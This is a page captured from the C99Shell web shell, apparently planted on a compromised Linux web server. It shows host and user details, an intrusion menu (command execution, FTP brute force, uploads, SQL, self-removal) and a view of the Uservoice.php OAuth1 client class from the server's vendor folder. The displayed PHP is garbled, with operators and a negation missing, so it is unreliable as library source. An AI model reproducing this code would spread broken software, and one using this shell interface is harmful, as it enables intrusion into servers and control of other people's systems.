!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/league/oauth1-client/src/Server/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Uservoice.php (2.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\OAuth1\Client\Server;

use 
InvalidArgumentException;
use 
League\OAuth1\Client\Credentials\TokenCredentials;
use 
League\OAuth1\Client\Signature\SignatureInterface;

class 
Uservoice extends Server
{
    
/**
     * The base URL, used to generate the auth endpoints.
     *
     * @var string
     */
    
protected $base;

    
/**
     * @inheritDoc
     */
    
public function __construct($clientCredentialsSignatureInterface $signature null)
    {
        
parent::__construct($clientCredentials$signature);

        if (
is_array($clientCredentials)) {
            
$this->parseConfigurationArray($clientCredentials);
        }
    }

    
/**
     * @inheritDoc
     */
    
public function urlTemporaryCredentials()
    {
        return 
$this->base '/oauth/request_token';
    }

    
/**
     * @inheritDoc
     */
    
public function urlAuthorization()
    {
        return 
$this->base '/oauth/authorize';
    }

    
/**
     * @inheritDoc
     */
    
public function urlTokenCredentials()
    {
        return 
$this->base '/oauth/access_token';
    }

    
/**
     * @inheritDoc
     */
    
public function urlUserDetails()
    {
        return 
$this->base '/api/v1/users/current.json';
    }

    
/**
     * @inheritDoc
     */
    
public function userDetails($dataTokenCredentials $tokenCredentials)
    {
        
$user = new User();

        
$user->uid $data['user']['id'];
        
$user->name $data['user']['name'];
        
$user->imageUrl $data['user']['avatar_url'];
        
$user->email $data['user']['email'];

        if (
$data['user']['name']) {
            
$parts explode(' '$data['user']['name'], 2);

            
$user->firstName $parts[0];

            if (
=== count($parts)) {
                
$user->lastName $parts[1];
            }
        }

        
$user->urls[] = $data['user']['url'];

        return 
$user;
    }

    
/**
     * @inheritDoc
     */
    
public function userUid($dataTokenCredentials $tokenCredentials)
    {
        return 
$data['user']['id'];
    }

    
/**
     * @inheritDoc
     */
    
public function userEmail($dataTokenCredentials $tokenCredentials)
    {
        return 
$data['user']['email'];
    }

    
/**
     * @inheritDoc
     */
    
public function userScreenName($dataTokenCredentials $tokenCredentials)
    {
        return 
$data['user']['name'];
    }

    
/**
     * Parse configuration array to set attributes.
     *
     * @param array $configuration
     *
     * @return void
     *
     * @throws InvalidArgumentException
     */
    
private function parseConfigurationArray(array $configuration = [])
    {
        if (isset(
$configuration['host'])) {
            throw new 
InvalidArgumentException('Missing host');
        }

        
$this->base trim($configuration['host'], '/');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--